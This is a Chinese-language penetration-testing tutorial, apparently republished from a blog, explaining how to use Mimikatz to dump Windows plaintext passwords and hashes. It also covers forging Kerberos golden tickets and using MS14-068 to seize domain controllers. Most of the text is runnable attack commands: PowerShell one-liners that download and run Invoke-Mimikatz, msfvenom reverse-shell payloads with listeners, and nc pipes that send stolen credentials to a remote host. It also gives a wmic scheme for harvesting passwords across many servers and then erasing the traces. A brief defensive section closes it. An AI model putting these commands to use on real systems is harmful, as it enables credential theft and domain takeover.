| 关键词: Mimikatz 密码 sekurlsa privilege 文件 命令 凭证 Windows 哈希 明文 |
Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具,从早期1.0版本到现在的2.1.1 20180205版本,其功能得到了很大的提升和扩展。Mimikatz最新版本一共三个文件(mimilib.dll、mimikatz.exe、mimidrv.sys),分为Win32位(多了一个mimilove.exe文件)和X64位。通过它们可以提升进程权限、注入进程读取进程内存,可以直接从lsass中获取当前登录过系统用户的账号明文密码,lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在lsass内存中,经过其wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中,而mimikatz正是通过对lsass的逆算获取到明文密码!本文以mimikatz最新版为例,介绍了mimikatz的参数、获取密码以及伪造黄金票据获取域控密码等用户,利用ms14-068结合mimikatz获取域控密码等,最后文中还给出了相应的防范方法,对网络攻防都具有一定的借鉴意义。 1.1.1下载及安装 最新版下载地址:https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180205/mimikatz_trunk.zip 下载后解压缩即可,里面分为Win32和X64,Win32是针对Windows32位,而X64是正对64位操作系统,目前绝大部分操作系统为64位(支持大内存的使用)。其相关资源: (1)个人blog:http://blog.gentilkiwi.com/ (2)最新版本:https://github.com/gentilkiwi/mimikatz/releases (3)github库:https://github.com/gentilkiwi/mimikatz 1.1.2使用参数详解 本次测试使用Win32版本,将程序解压后,通过cmd进入当前目录,执行mimikatz程序,如图1所示,随便输入即可获取帮助信息。 ![]() 图1显示帮助信息 1.基本命令 (1)exit:退出mimikatz。 (2)cls:清除当前屏幕。 (3)answer:对生命、宇宙和万物的终极问题的回答. (4)coffee:显示coffee图案。 (5)sleep:默认睡眠1000ms,后跟时间参数。 (6)log:记录mimikatz所有的输入和输出到当前目录下的log.txt文件。 (7)base64:将输入/输出转换成base64编码。 (8)version:查看mimikatz的版本 (9)cd:切换或者显示当前目录。 (10)localtime:显示系统当前时间和UTC时间。 (11)hostname:显示主机的名称。 2.使用模块 输入“::”显示其支持模块信息。 (1)standard:标准模块,基本命令,不需要模块信息。 (2)crypto: 加密模块,其后跟以下参数,其使用命令为crypto::参数名,例如crypto::providers,如图2所示。 ![]() 图2参考加密算法提供类型及名单 providers -该命令列出所有CryptoAPI提供者。 stores - 列出系统存储中的逻辑存储,crypto::stores /systemstore:local_machine certificates - 显示或者导出证书 keys - 列出或者显示密钥 sc - 此命令列出系统上的智能卡/令牌读取器或将其移出系统。当CSP可用时,它会尝试在智能卡上列出密钥。 hash - 显示当前用户的的哈希(LM、NTLM、md5、sha1、sha2)计算值 system - 描述windows系统证书 (,注册表或者hive文件) scauth - 从CA创建一个认证(智能卡等) certtohw -尝试将软件CA导出到加密(虚拟)硬件中。 capi -修补CryptoAPI程序方便导出。 cng - 修补CNG服务方便导出 extract -从CAPI RSA/AES 提供者获取密钥 (3)sekurlsa 枚举用户凭证 sekurlsa::msv - 获取LM & NTLM 凭证,可以获取明文密码 sekurlsa::wdigest - 获取 WDigest 凭证,可以获取明文密码 sekurlsa::kerberos - 获取Kerberos 凭证 sekurlsa::tspkg - 获取 TsPkg 凭证 sekurlsa::livessp - 获取LiveSSP 凭证 sekurlsa::ssp - 获取凭证 sekurlsa::logonPasswords获登陆用户信息及密码,如果是在系统权限或者psexec进入的系统权限下,直接使用该命令,而无需运行privilege::debug,否则需要运行该命令。 sekurlsa::process - 切换或者恢复到lsass初始状态 sekurlsa::minidump - 切换或者恢复到minidump初始状态 sekurlsa::pth - Pass-the-hash sekurlsa::krbtgt - krbtgt! sekurlsa::dpapisystem - 显示DPAPI_SYSTEM密码值 sekurlsa::tickets - 显示Kerberos票据 sekurlsa::ekeys - 显示Kerberos加密密钥 sekurlsa::dpapi - 显示内存中的MasterKeys sekurlsa::credman - 显示管理员凭证 (4)kerberos - Kerberos 包模块 (5)privilege - 特权模块 Privilege::debug - 请求调试权限 Privilege::driver - 请求装载驱动权限 Privilege::security - 请求安全权限 Privilege::tcb - 请求tcb权限 Privilege::backup - 请求backup权限 Privilege::restore - 请求恢复权限 Privilege::sysenv - 请求系统环境权限 Privilege::id - 请求id特权,参数后跟具体的id值。例如请求特权8:privilege::id 8 Privilege::name - 请求指定名称的权限 (6)process:进程模块 process::list - 列出进程 process::exports - 导出进程列表 process::imports - 导入进程列表 process::start - 开始一个进程,后跟进程名称。 process::stop - 终止一个进程,process::stop /pid:1692(结束pid为1692的进程) process::suspend - 挂起一个进程 process::resume - 恢复一个进程 process::run - 运行一个进程 (7)service - Service module service::start - 开始服务 service::remove - 移除服务 service::stop - 停止服务 service::suspend - 暂停服务 service::resume - 恢复服务 service::preshutdown - 预关闭服务 service::shutdown - 关闭服务 service::list - 列出服务 service::+ -安装mimikatz服务 service::- - 卸载mimikatz服务 (8)lsadump - LsaDump module Lsadump::sam - 该命令转储安全帐户管理器(SAM)数据库。它包含用户密码的NTLM,有时包含LM哈希。 在线命令提升模式获取: privilege::debug token::whoami token::elevate lsadump::sam 离线获取: 通过以下方式备份SYSTEM&SAM配置: reg save HKLM\SYSTEM SystemBkup.hiv reg save HKLM\SAM SamBkup.hiv 或者使用Volue Shadow Copy / BootCD来备份这些文件: C:\Windows\System32\config\SYSTEM C:\Windows\System32\config\SAM 然后执行mimikatz # lsadump::sam SystemBkup.hiv SamBkup.hiv即可获取。 http://www.objectif-securite.ch/en/ophcrack.php和http://www.cmd5.com/可在线进行破解查询。 Lsadump::secrets 从registry或者hives获取保存的密码凭据,可以直接获取明文密码。 Lsadump::cache 获取内存中的密码值 Lsadump::lsa 从lsa服务器获取密码。lsadump::lsa /inject /name:krbtgt Lsadump::trust - Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fbackupkeys rpdata Lsadump::dcsync - Ask a DC to synchronize an object Lsadump::dcshadow - They told me I could be anything I wanted, so I became a domain controller Lsadump::setntlm - Ask a server to set a new password/ntlm for one user Lsadump::changentlm - Ask a server to set a new password/ntlm for one user Lsadump::netsync - Ask a DC to send current and previous NTLM hash of DC/SRV/WKS (9)ts 终端服务模块 ts::sessions 显示当前的会话 ts::multirdp 允许多个用户使用rdp,安装rdp补丁。 (10)event事件模块 event::drop 启用事件补丁服务,不再记录新产生的事件。 event::clear 清除时间日志。 (11)misc 杂项模块,打开cmd, regedit, taskmgr, ncroutemon, detours, wifi, addsid, memssp, skeleton等。 (12)token -令牌操作模块 token::whoami - 显示当前的身份 token::list - 列出系统所有的令牌 token::elevate - 冒充令牌 token::run - 运行 token::revert - 恢复到进程令牌 (13)vault - Windows信任/凭证模块。Vault::list列出Windows信任/凭证。 (14)net 显示user、group、alias 、session、wsession、tod、stats、share、serverinfo 等信息。 1.1.3mimikatz获取密码 1.旧版本配合psexec密码获取方法及命令 (1)到tools目录。psexec \\127.0.0.1 cmd (2)执行mimikatz (3)执行 privilege::debug (4)执行 inject::process lsass.exe sekurlsa.dll (5)执行@getLogonPasswords (6)widget就是密码 (7)exit退出,不要直接关闭否则系统会崩溃。 2.bat脚本获取法 (1)创建get.bat脚本 @echo off mimikatz.exe exit (2)创建command.txt文件 privilege::debug inject::process lsass.exe sekurlsa.dll @getLogonPasswords Exit (3)执行get.bat文件即可获取密码,pass.txt记录的即为获取的密码,get.bat、command.txt和mimikatz.exe在同一个文件夹下。 2.mimikatz2.0以上版本获取系统明文密码 (1)sekurlsa获取 privilege::debug sekurlsa::logonpasswords (2)Lsadump获取密码 Lsadump::secrets 3.利用ms14-068漏洞进行攻击 (1)生成[email protected]票据 ms14-068.py -u [email protected] -p venus123@ -s S-1-5-21-1825629200-489098874-1280338471-1104 -d admin.com (2)导入票据 mimikatz kerberos::ptc c:/[email protected] 1.1.4使用ps1批量获取windows密码 在Windows2008及以上操作系统中执行命令: powershell "IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1); Invoke-Mimikatz -DumpCreds" 注意:获取密码的计算机必须能够访问raw.githubusercontent.com网络,也可以将该ps文件下载到其他地址,然后替换后执行。该脚本目前在win2014中只能获取NTLM值,无法获取明文密码,如图3所示。 ![]() 图3通过ps脚本获取密码值 1.1.5MSF下mimikatz获取密码 1.需要生成一个反弹的可执行程序或者通过漏洞直接获取一个反弹的shell。下面是通过msfvenom生成shell: (1)Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= (2)Windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST= (3)Mac:msfvenom -p osx/x86/shell_reverse_tcp LHOST= (4)PHP:msfvenom -p php/meterpreter_reverse_tcp LHOST= (5)asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST= (6)JSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST= (7)WAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST= Scripting Payloads (8)Python:msfvenom -p cmd/unix/reverse_python LHOST= (9)Bash:msfvenom -p cmd/unix/reverse_bash LHOST= (10)Perl:msfvenom -p cmd/unix/reverse_perl LHOST= (11)Linux Based Shellcode:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= (12)Windows Based Shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST= (13)Mac Based Shellcode:msfvenom -p osx/x86/shell_reverse_tcp LHOST= 在架构中比较好用的有两个cmd/powershell_base64和x86/shikata_ga_nai,下面生成一个实例(反弹的服务器IP为192.168.106.133): msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.133 LPORT=4444 -f exe > shell.exe 2. 运行msfconsole并设置 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.106.133 set lport 4444 run或者exploit 3.在测试计算机上运行exe文件 4.在msf获取反弹的shell,如图5所示。 (1)getuid 获取当前帐号为系统权限,则进行后续操作,否则通过ps命令去获取小于1000以内的pid,执行migrate pid来提升权限后,继续执行后续步骤。 (2)load mimikatz (3)运行mimikatz下面的凭证获取命令 kerberos 获取网络认证协议凭证,其中可能会有明文密码 msv 获取msv 凭证,其中包含LM和NTLM哈希密码值 wdigest 获取wdigest (摘要式身份验证)凭证,其中可能会有明文密码 (4)还可以执行hashdump来导出系统的哈希密码值 1.1.6使用Mimikatz伪造Kerberos黄金票据 以域控test.local为例子,mimikatz在c:\test\目录下。 1.导出krbtgt的Hash 在域控上执行通过mimkatz输出: mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt" 找到如下信息: /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f 2、生成Golden Ticket 伪造的用户设置为god,执行: mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi" 生成文件gold.kirbi 3、伪造Golden Ticket获得域控权限,导入Golden Ticket,执行如下命令: kerberos::ptt c:\test\gold.kirbi 1.1.7ms14_068获取域控密码 1. 利用ms14_068漏洞获取域控权限 目前网上有python脚本的利用方法,其下载地址:https://github.com/bidord/pykek,具体方法如下: (1)获取SID 方法1:wmic useraccount where name="USERNAME" get sid 方法2:whoami /all 或者whoami /user 本机可以直接查出自己的SID; 例如获取SID值为:S-1-5-21-3314867233-3443566213-336233174-500 (2)生成tgt文件 ms14-068.py -u [email protected] -s S-1-5-21-3314867233-3443566213-336233174-500-d DC2. antian365.local 会在当前命令目录生成一个 TGT_ antian365@ antian365.local.ccache文件,将该文件复制到mimikatz目录。 (3)导入tgt文件 mimikatz.exe log "kerberos::ptc TGT_ antian365@ antian365.local.ccache" exit (4)查看并获取域控权限 net use \\DC2. antian365.local\admin$ //注:使用IP可能会失败 dir \\DC2. antian365.local\c$ (5)klist查看票据,klist仅仅在win2008以上可以查看。 2.MSF漏洞模块利用 (1)使用ms14_068模块 use auxiliary/admin/kerberos/ms14_068_kerberos_checksum set DOMAIN DEMO.LOCAL set PASSWORD antian365 set USER antian365 set USER_SID S-1-5-21-3314867233-3443566213-336233174-500 set RHOST WIN-T.demo.local run 生成一个形如time_default_ip_windows.kerberos_num.bin的文件 (2)导入bin文件 kerberos::clist "time_default_ip_windows.kerberos_num.bin" /export/ 保存为[email protected]文件。 (3)使用生成的kirbi use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 172.16.158.1 exploit getuid load mimikatz kerberos_ticket_use /tmp/0-00000000- [email protected] background sessions (4)获取域控权限 use exploit/windows/local/current_user_psexec set TECHNIQUE PSH set RHOSTS WIN-T.demo.local set payload windows/meterpreter/reverse_tcp set lhost 172.16.158.1 set SESSION 1 exploit getuid 1.1.8 mimikatz使用技巧 1. 获取并记录密码到mimikatz.log文件 mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords "" exit && dir 2.输出到本地log.txt文件 mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> log.txt 3.记录新密码到文件 有时候获取的哈希是旧的,这时需要记录新的登录哈希值,可以使用以下命令来记录,记录的结果在c:\windows\system32\mimilsa.log。 mimikatz.exe privilege::debug misc::memssp 4.通过nc命令将mimikatz执行结果传输到远程 (1)取结果服务器(192.168.106.145)执行监听命令 nc -vlp 44444 (2)在想获取密码的服务器上执行 mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords "" exit | nc.exe -vv 192.168.106.145 4444 5通过nc命令远程执行mimikatz (1)在黑客反弹计算机(192.168.106.145)上执行 nc.exe -vlp 4444 (2)在被攻击计算机(192.168.106.130)上执行 nc.exe -vv 192.168.106.145 4444 -e mimikatz.exe 接着就会反弹到192.168.106.145的4444端口,出来一个cmd的窗口,可以在该窗口进行密码获取,如图4所示。 ![]() 图4nc反弹执行命令 6.批量获取域控密码 通常在域渗透的时候,我们可能想要获得更多的密码,针对server08以后的服务器获取ntds.dit的hash以后还不一定能破解出来,所以可以通过Mimikatz来获取明文密码,但是一台一台登陆去获取会很慢且不方便,所以这里介绍一个批量的方法: (1)创建共享文件夹: cd\ mkdir open net share open=C:\open /grant:everyone,full icacls C:\open\ /grant Everyone:(OI)(CI)F /t 修改注册表 reg change HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ open reg change HKLM\System\CurrentControlSet\Control\Lsa "EveryoneIncludesAnonymous" 1 修改共享目录到open。 (2)在共享目录添加下列文件: 1)执行脚本powershellme.cmd,脚本内容: powershell "IEX (New-Object Net.WebClient).DownloadString(http://192.168.1.11:8080/Invoke-Mimikatz.ps1); Invoke-Mimikatz -DumpCreds > \\192.168.1.11\open\%COMPUTERNAME%.txt 2>&1 ip是设置共享的主机ip地址。 2)Invoke-Mimikatz.ps1 3)mongoose 4)服务器列表serverlist.txt,换行分割。 (3)运行mongoose,默认开启端口8080 (4)执行wmic: wmic /node:@serverlist.txt process call create "\\192.168.1.11\open\powershellme.cmd" 带凭证: wmic /node:@serverlist.txt /user:PROJECTMENTOR\evi1cg /password:123 process call create "\\192.168.1.11\open\powershellme.cmd" (5)在共享目录看各个服务器的密码吧。 (6)清除记录: 1)关掉mongoose,并删除 2)net share open /delete 3)删除共享目录及文件 4)修改注册表 PS:可以使用如下命令开启PowerShell remoting: psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force" 1.1.9linux版本的mimikatz密码获取工具mimipenguin 1. mimipenguin mimikatz的Linux平台仿造版本mimipenguin(由@HunterGregal开发),mimipenguin需要root权限运行,通过检索内存、/etc/shadow文件等敏感区域查找信息进行计算,从而提取出系统明文密码。软件下载地址:https://github.com/huntergregal/mimipenguin,下载后运行mimipenguin.sh即可,如图5所示。 2.支持版本 Kali 4.3.0 (rolling) x64 (gdm3) Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2) Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2) XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2) Archlinux x64 Gnome 3 (Gnome Keyring 3.20) OpenSUSE Leap 42.2 x64 (Gnome Keyring 3.20) VSFTPd 3.0.3-8+b1 (Active FTP client connections) Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency] openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage) 1.1.10安全防范mimikatz获取密码 参考作者及网上安全防范方法主要有以下三个方法: 1.用户被添加到保护用户组。将域控升级到Active Directory 2012 R2功能级别,然后将重要用户添加到保护用户组。 2.安装KB2871997补丁程序。 3.修改注册表键值 在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest下新建UseLogonCredential值,其类型为Dword32位类型,值为0即可。 参考文章: https://evi1cg.me/archives/Get_Passwords_with_Invoke-Mimikatz.html https://www.cnblogs.com/backlion/p/8127868.html 作者简介:陈小兵,原海军某部网络安全研究员、公安部网络安全攻防实验员、曾就职于北京公安局网络安全总队,北理工计算机学院在读博士;主要从事网络安全攻防研究工作,在网络安全研究与培训、病毒防范、网络渗透等领域具有20年以上经验,在业内享有盛名。 2018年受DEFON GROUP 010(https://www.anquanke.com/post/id/101477)邀请在上海黑客沙龙做《内网渗透思路》主题分享(视频观看地址https://www.ichunqiu.com/open/61711),已出版《SQL Server2000培训教程》《黑客攻防及实战案例解析》《Web渗透及实战案例解析》《安全之路-Web渗透及实战案例解析第二版》、《黑客攻防实战加密与解密》、《网络攻防实战研究:漏洞利用与提权》、2019年待出版《网络攻防实战研究:MySQL数据库攻击与防御》、《网络攻防实战研究:攻防实战技术》、《web服务器渗透实战》《SQLMAP从入门到精通》共计10本专著,在国内核心期刊及普通学术期刊发表论文20余篇,曾在《黑客防线》、《黑客X档案》、《网管员世界》、《开放系统及世界》、《视窗世界》等杂志发表文章100余篇。 国内著名权威技术51cto网站专栏作者,技术专家,讲师,目前在51cto开设有两个付费专栏: (1)SQLMAP从入门到精通:http://blog.51cto.com/cloumn/detail/3 (2)Web网站安全评估分析及防御:https://blog.51cto.com/cloumn/detail/15 个人访问量超过640万博客:http://blog.51cto.com/simeon FreeBuf个人专栏https://www.freebuf.com/author/simeon CSDN付费专栏:《密码安全攻防技术精讲》 https://gitbook.cn/gitchat/column/5afbf24f753289354cab7983 |
| 本文出处: https://www.toutiao.com/a6675654506849501709/ |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|